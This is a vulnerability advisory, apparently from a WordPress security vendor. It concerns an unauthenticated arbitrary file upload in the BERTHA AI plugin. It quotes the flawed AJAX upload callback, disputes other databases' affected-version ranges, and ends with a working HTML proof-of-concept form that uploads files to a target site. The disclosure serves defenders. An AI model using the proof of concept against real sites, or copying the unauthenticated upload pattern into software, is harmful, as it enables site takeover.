31 Jan 2024

Arbitrary File Upload Vulnerability in BERTHA AI

We recently had a hacker probing for usage of the WordPress plugin BERTHA AI on our website with the following request:

/wp-content/plugins/bertha-ai-free/readme.txt

There are no recent changelog entries to suggest a security fix has been recently released. It turns out there was a recent security update, but the changelog for that version reads “Removed Whisper Code and functionality.”

It also turns out the vulnerability is slightly more serious than the relevant code suggests.

Looking for any recent claims of vulnerabilities in the plugin, there was a claim of an arbitrary file upload vulnerability in the plugin. That was claimed to involve the function bthai_wa_translate_audio_callback(), which was located in the file /classes/class-bertha-ai-ajax.php. That was registered to be accessible through WordPress’ AJAX functionality even by those not logged in to WordPress:

73
74
add_action('wp_ajax_wa_ber_translate_audio', array(&$this, 'bthai_wa_translate_audio_callback'));
add_action('wp_ajax_nopriv_wa_ber_translate_audio', array(&$this, 'bthai_wa_translate_audio_callback'));

The code looks to allow uploading an arbitrary file to the website, which then, in the final line of code shown, is deleted:

2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
function bthai_wa_translate_audio_callback() {
	$return = array();
	$file = isset($_FILES['file']) ? $_FILES['file'] : array();
	$type = isset($_POST['type']) ? sanitize_text_field($_POST['type']) : "ber_trc";
	$upload_dir = wp_upload_dir();
	$file_name = $file['name'];
	$file_tmp = $file['tmp_name'];
	$file_path = $upload_dir['path'] . '/' . $file_name;
	$file_url = $upload_dir['url'] . '/' . $file_name;
	move_uploaded_file($file_tmp, $file_path);
 
	$user_email = $this->bthai_get_customer_email();
	$idea_unique_id = md5(uniqid());
 
	$url = 'https://bertha.ai/wp-json/wa/implement';
	$args = array(
			'method' => 'POST',
			'timeout' => 40,
			'body'   => json_encode( array( 'language' => $language, 'strict_mode' => $this->strict_mode, 'file' => $file_url, 'type' => $type, 'template' => 'audio', 'key' => BTHAI_LICENSE_KEY, 'home_url' => get_admin_url(), 'current_user' => $user_email, 'idea_unique_id' => $idea_unique_id) ),
			'headers' => [
							'Authorization' => 'Bearer ' . BTHAI_LICENSE_KEY,
							'Content-Type' =>  'application/json',
						],
	);
 
	$response = wp_remote_post($url, $args); 
exit(print_r($response));
	$body = json_decode($response['body']);
					exit('test');
	if(!empty($body) && $body->text) {
		$return['html'] = $body->text;
	} elseif($body->token_denied) {
		$return['token_denied'] = $body->token_denied;
	} else {
		$return['html'] = 'Failed';
	}
	delete_transient(BTHAI_TRANSIENT_LICENSE_DETAILS);
	unlink($file_path);

In testing this, we found that the code was hitting an error and stopped running before the file was deleted.

The vulnerability was resolved by removing the function.

Wrong Versions Listed Vulnerable

As is often the case, data from other providers is wrong about key details. Here both WPScan and Wordfence are claiming that this vulnerability is “in all versions up to and including 1.11.10.7,” but in reality the vulnerable code was only added in version 1.11.7. (WPScan wholesale copied Wordfence’s description on this vulnerability without crediting them.)

That type of inaccurate version information is problematic for anyone trying to determine how a website has been hacked, as it will make it seem that many websites contain vulnerabilities they don’t contain.

As this vulnerability looks to be being exploited, we are adding accurate data on it to the free data that comes with our Plugin Vulnerabilities plugin.

We Already Provided Protection

We tested and confirmed that our firewall plugin for WordPress protected against the vulnerability, even before the vulnerability was discovered, as part of its protection against zero-day vulnerabilities.

Proof of Concept

The following proof of concept will upload the file sent with the request to the current month’s media directory in the /wp-content/uploads/ directory.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wa_ber_translate_audio" enctype="multipart/form-data" method="POST">
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>

Plugin Security Scorecard Grade for BERTHA AI

Checked on September 28, 2024
C+

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published. Required fields are marked *